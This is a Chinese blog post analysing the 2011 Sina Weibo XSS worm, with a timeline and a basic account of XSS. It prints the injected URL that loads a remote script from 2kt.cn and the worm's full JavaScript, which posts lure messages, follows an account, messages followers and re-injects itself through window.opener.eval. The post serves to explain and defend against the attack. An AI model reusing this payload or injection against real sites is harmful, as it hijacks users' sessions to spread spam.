http://blog.csdn.net/terryzero/article/details/6575078 6月28日20时14分左右开始,新浪微博出现了一次比较大的XSS攻击事件。大量用户自动发送诸如:“郭美美事件的一些未注意到的细节”,“建 党大业中穿帮的地方”,“让女人心动的100句诗歌”,“3D肉团团高清普通话版种子”,“这是传说中的神仙眷侣啊”,“惊爆!范冰冰艳照真流出了”等等 微博消息和私信,并自动关注一位名为hellosamy的用户。

  事件的经过线索如下:

  • 20:14,开始有大量带V的认证用户中招转发蠕虫
  • 20:30,2kt.cn中的病毒页面无法访问
  • 20:32,新浪微博中hellosamy用户无法访问
  • 21:02,新浪漏洞修补完毕

  新浪微博XSS事件

  在这里,想和大家介绍一下XSS攻击,XSS攻击又叫跨站脚本式攻击,你Google一下可以搜到很多很多的文章。我在这里就简单地说一下。
首先,我们都知道网上很多网站都可以“记住你的用户名和密码”或是“自动登录”,其实是在你的本地设置了一个cookie,这种方式可以让你免去每次都输入用户名和口令的痛苦,但是也带来很大的问题。试想,如果某用户在“自动登录”的状态下,如果你 运行了一个程序,这个程序访问“自动登录”这个网站上一些链接、提交一些表单,那么,也就意味着这些程序不需要输入用户名和口令的手动交互就可以和服务器 上的程序通话。这就是XSS攻击的最基本思路。
  再说一点,不一定是“记住你的用户名和密码”或是“自动登录”的方法,因为HTTP是无状态 的协 议,所以,几乎所有的网站都会在你的浏览器上设置cookie来记录状态,以便在其多个网页中检查你的登录状态。而现在的浏览器的运行方式是多页面或多窗 口运行,也就是说,你在同一个父进程下开的多个页面或窗口里都可以无偿使用你登录状态的。
  当然,你不必过于担心访问别的网站,在别的网站里的js代码会访问你的微博或是网银的登录页面。因为浏览器的安全性让js只能访问自己所在网站的资源。当然,这是浏览器做的检查,所以,浏览器并不一定会做这个检查,这就是为什么IE6是史上最不安全的浏览器,没有之一。只要你不在用IE6,应该没有这些问题。
  XSS攻击有两种方法,
  • 一种就像SQL Injection或CMD Injection攻击一样,我把一段脚本注入到服务器上,用户访问方法服务器的某个URL,这个URL就会把远端的js注入进来,这个js有可能自动进 行很多操作。比如这次事件中的帮你发微博,帮你发站内消息等。注入有很多方法,比如:提交表单,更改URL参数,上传图片,设置签名,等等。
  • 另一类则是来来自外部的攻击,主要指的自己构造XSS 跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,我们自己构造一个跨站网页放在自己的服务器上,然后通过结合其它技术,如 社会工程学等,欺骗目标服务器的管理员打开。这一类攻击的威胁相对较低,至少ajax 要发起跨站调用是非常困难的(你可能需要hack浏览器)。

  这次新浪微博事件是第一种,其利用了微博广场页面 http://weibo.com/pub/star 的一个URL注入了js脚本,其通过http://163.fm/PxZHoxn 短链接服务,将链接指向:

代码:

  1. http://weibo.com/pub/star/g/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update

  注意,上面URL链接中的其实就是
代码:
< script src="//www.2kt.cn/images/t.js"></script>
攻击者并不一定是2kt.cn的人,因为.cn被国家严格管制,所以,我个人觉得这个人不会愚蠢到用自己域名来做攻击服务器。

其它

  • 初步发现 Chrome 和 Safari 都没中招。IE、Firefox未能幸免。
  • 史上最著名的XSS攻击是Yahoo Mail 的Yamanner蠕 虫是一个著名的XSS 攻击实例。早期Yahoo Mail 系统可以执行到信件内的javascript 代码。并且Yahoo Mail 系统使用了Ajax技术,这样病毒javascript 可以的向Yahoo Mail 系统发起ajax 请求,从而得到用户的地址簿,并发送攻击代码给他人。
  • 为什么那个用户叫hellosamy,因为samy是第一个XSS攻击性的蠕虫病毒,在MySpace上传播。
  • 关于攻击的代码在这里:06.28_sina_XSS.txt (编码风格还是很不错的)
[javascript] view plaincopy
  1. function createXHR(){
  2. return window.XMLHttpRequest?
  3. new XMLHttpRequest():
  4. new ActiveXObject("Microsoft.XMLHTTP");
  5. }
  6. function getappkey(url){
  7. xmlHttp = createXHR();
  8. xmlHttp.open("GET",url,false);
  9. xmlHttp.send();
  10. result = xmlHttp.responseText;
  11. id_arr = '';
  12. id = result.match(/namecard=/"true/" title=/"[^/"]*/g);
  13. for(i=0;i<id.length;i++){
  14. sum = id[i].toString().split('"')[3];
  15. id_arr += sum + '||';
  16. }
  17. return id_arr;
  18. }
  19. function random_msg(){
  20. link = ' http://163.fm/PxZHoxn?id=' + new Date().getTime();;
  21. var msgs = [
  22. '郭美美事件的一些未注意到的细节:',
  23. '建党大业中穿帮的地方:',
  24. '让女人心动的100句诗歌:',
  25. '3D肉团团高清普通话版种子:',
  26. '这是传说中的神仙眷侣啊:',
  27. '惊爆!范冰冰艳照真流出了:',
  28. '杨幂被爆多次被潜规则:',
  29. '傻仔拿锤子去抢银行:',
  30. '可以监听别人手机的软件:',
  31. '个税起征点有望提到4000:'];
  32. var msg = msgs[Math.floor(Math.random()*msgs.length)] + link;
  33. msg = encodeURIComponent(msg);
  34. return msg;
  35. }
  36. function post(url,data,sync){
  37. xmlHttp = createXHR();
  38. xmlHttp.open("POST",url,sync);
  39. xmlHttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
  40. xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");
  41. xmlHttp.send(data);
  42. }
  43. function publish(){
  44. url = 'http://weibo.com/mblog/publish.php?rnd=' + new Date().getTime();
  45. data = 'content=' + random_msg() + '&pic=&styleid=2&retcode=';
  46. post(url,data,true);
  47. }
  48. function follow(){
  49. url = 'http://weibo.com/attention/aj_addfollow.php?refer_sort=profile&atnId=profile&rnd=' + new Date().getTime();
  50. data = 'uid=' + 2201270010 + '&fromuid=' + $CONFIG.$uid + '&refer_sort=profile&atnId=profile';
  51. post(url,data,true);
  52. }
  53. function message(){
  54. url = 'http://weibo.com/' + $CONFIG.$uid + '/follow';
  55. ids = getappkey(url);
  56. id = ids.split('||');
  57. for(i=0;i<id.length - 1 & i<5;i++){
  58. msgurl = 'http://weibo.com/message/addmsg.php?rnd=' + new Date().getTime();
  59. msg = random_msg();
  60. msg = encodeURIComponent(msg);
  61. user = encodeURIComponent(encodeURIComponent(id[i]));
  62. data = 'content=' + msg + '&name=' + user + '&retcode=';
  63. post(msgurl,data,false);
  64. }
  65. }
  66. function main(){
  67. try{
  68. publish();
  69. }
  70. catch(e){}
  71. try{
  72. follow();
  73. }
  74. catch(e){}
  75. try{
  76. message();
  77. }
  78. catch(e){}
  79. }
  80. try{
  81. x="g=document.createElement('script');g.src='http://www.2kt.cn/images/t.js';document.body.appendChild(g)";window.opener.eval(x);
  82. }
  83. catch(e){}
  84. main();
  85. var t=setTimeout('location="http://weibo.com/pub/topic";',5000);

新浪微博XSS攻击事件的更多相关文章

  1. 新浪微博XSS攻击源代码下载(2012.06.28_sina_XSS.txt)

    function createXHR(){ return window.XMLHttpRequest? new XMLHttpRequest(): new ActiveXObject("Mi ...

  2. XSS第四节,XSS攻击实例(一)

    在开始实例的讲解之前,先看一下XSS的危害情况,第一张图中说明和XSS相关的CVE漏洞有7417个(http://web.nvd.nist.gov/view/vuln/search-results?q ...

  3. XSS跨站脚本攻击实例讲解,新浪微博XSS漏洞过程分析

    2011年6月28日晚,新浪微博遭遇到XSS蠕虫攻击侵袭,在不到一个小时的时间,超过3万微博用户受到该XSS蠕虫的攻击.此事件给严重依赖社交网络的网友们敲响了警钟.在此之前,国内多家著名的SNS网站和 ...

  4. WEB安全测试之XSS攻击

    目录结构 1.背景知识 2.XSS漏洞的分类 3.XSS防御 4.如何测试XSS漏洞 5.HTML Encode 6.浏览器中的XSS过滤器 7.ASP.NET中的XSS安全机制 一.背景知识 1.什 ...

  5. Web 安全之 XSS 攻击与防御

    前言 黑客,相信大家对这一名词并不陌生,黑客们往往会利用 Web 应用程序的漏洞来攻击咱们的系统.开放式 Web 应用程序安全项目(OWASP, Open Web Application Securi ...

  6. 前端安全系列(一):如何防止XSS攻击?

    原文:https://my.oschina.net/meituantech/blog/2218539 前端安全 随着互联网的高速发展,信息安全问题已经成为企业最为关注的焦点之一,而前端又是引发企业安全 ...

  7. XSS 防范XSS 攻击的措施

    XssSniper--0KEE TEAM               XssSniper--0KEE TEAM XssSniper 扩展介绍 一直以来,隐式输出的DomXSS漏洞难以被传统的扫描工具发 ...

  8. 转:前端安全之XSS攻击

    前端安全 原文链接:https://www.freebuf.com/articles/web/185654.html 随着互联网的高速发展,信息安全问题已经成为企业最为关注的焦点之一,而前端又是引发企 ...

  9. 【网络安全】给你讲清楚什么是XSS攻击

    给你讲清楚什么是XSS攻击 1. 什么是XSS攻击 跨站脚本攻击(Cross Site Scripting)本来的缩写为CSS,为了与层叠样式表(Cascading Style Sheets,CSS) ...

随机推荐

  1. SqlServer 2008无法远程连接到服务器

    其他的什么先别说,上来第一点,看看服务器防火墙,是否把SqlServer的端口号例外了.  别弄了半天发现防火墙问题,那就得不偿失了. 用户在使用SQL Server 2008远程链接时,可能会弹出如 ...

  2. linkhashmap实现原理

    HashMap和双向链表合二为一即是LinkedHashMap.所谓LinkedHashMap,其落脚点在HashMap,因此更准确地说,它是一个将所有Entry节点链入一个双向链表的HashMap. ...

  3. 菜鸟的mongoDB学习---(七)MongoDB 备份(mongodump)与恢复(mongorerstore)

    MongoDB数据备份 在Mongodb中我们使用mongodump命令来备份MongoDB数据. 该命令能够导出全部数据到指定文件夹中. mongodump命令能够通过參数指定导出的数据量级转存的s ...

  4. python接口自动化10-token登录

    前言 有些登录不是用cookie来验证的,是用token参数来判断是否登录. token传参有两种一种是放在请求头里,本质上是跟cookie是一样的,只是换个单词而已:另外一种是在url请求参数里,这 ...

  5. jquery empty()方法

    empty() 方法从被选元素移除所有内容,包括所有文本和子节点. $(selector).empty() <html> <head> <script type=&quo ...

  6. Linux内核的idle进程分析

    1. idle是什么 简单的说idle是一个进程,其pid号为 0.其前身是系统创建的第一个进程.也是唯一一个没有通过fork()产生的进程. 在smp系统中,每一个处理器单元有独立的一个执行队列,而 ...

  7. 代码高亮 highlightjs 使用文档

    使用方法 <link rel="stylesheet" href="../../assets/highlight/styles/default.css"& ...

  8. 线段树(Segment Tree)(转)

    原文链接:线段树(Segment Tree) 1.概述 线段树,也叫区间树,是一个完全二叉树,它在各个节点保存一条线段(即“子数组”),因而常用于解决数列维护问题,基本能保证每个操作的复杂度为O(lg ...

  9. 如何在Windows Server 2012 R2上安装SharePoint 2013

    笔者原以为是个挺容易个事儿, 毕竟是微软自家的产品安装在自家的操作系统上, 没想到还是让我费了半天劲.   写在这里吧, 方便其他的朋友.   具体步骤 ======================= ...

  10. .net 序列化与反序列化

    1.序列化 反序列化 C#中如果需要:将一个结构很复杂的类的对象存储起来,或者通过网路传输到远程的客户端程序中去,这时就需要用到序列化,反序列化(Serialization & Deseria ...